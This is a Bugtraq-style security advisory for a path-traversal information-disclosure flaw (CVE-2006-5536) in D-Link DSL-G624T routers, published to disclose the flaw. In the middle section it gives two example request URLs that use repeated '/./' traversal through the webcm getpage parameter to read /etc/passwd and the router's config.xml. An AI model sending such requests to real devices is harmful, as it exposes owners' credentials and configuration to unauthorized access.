D-Link DSL-G624T Information Disclosure Vulnerability

Bugtraq ID:	20689
Class:	Input Validation Error
CVE:	CVE-2006-5536
Remote:	Yes
Local:	No
Published:	Oct 23 2006 12:00AM
Updated:	May 03 2007 07:19PM
Credit:	Discovery credited to José Ramón Palanco <[email protected]>.
Vulnerable:	D-Link DSL-G624T V3.00B01T01.YA-C.200 D-Link DSL-G624T 0
Not Vulnerable:

D-Link DSL-G624T Information Disclosure Vulnerability

D-Link DSL-G624T devices are prone to a remote information-disclosure vulnerability because the devices fail to properly sanitize user-supplied input.

Exploiting this issue allows remote, unauthenticated attackers to gain access to potentially sensitive configuration information from affected devices. This may aid them in further attacks.

D-Link DSL-G624T Information Disclosure Vulnerability

Attackers may use a browser to exploit this issue.

The following example URIs demonstrate this issue:

http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/passwd
http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/config.xml

D-Link DSL-G624T Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

D-Link DSL-G624T Information Disclosure Vulnerability

References:

• DSL-G624T Product Page (D-Link)
  
• D-Link DSL-G624T several vulnerabilities ([email protected])
  
• Medium security hole affecting DSL-G624T ([email protected])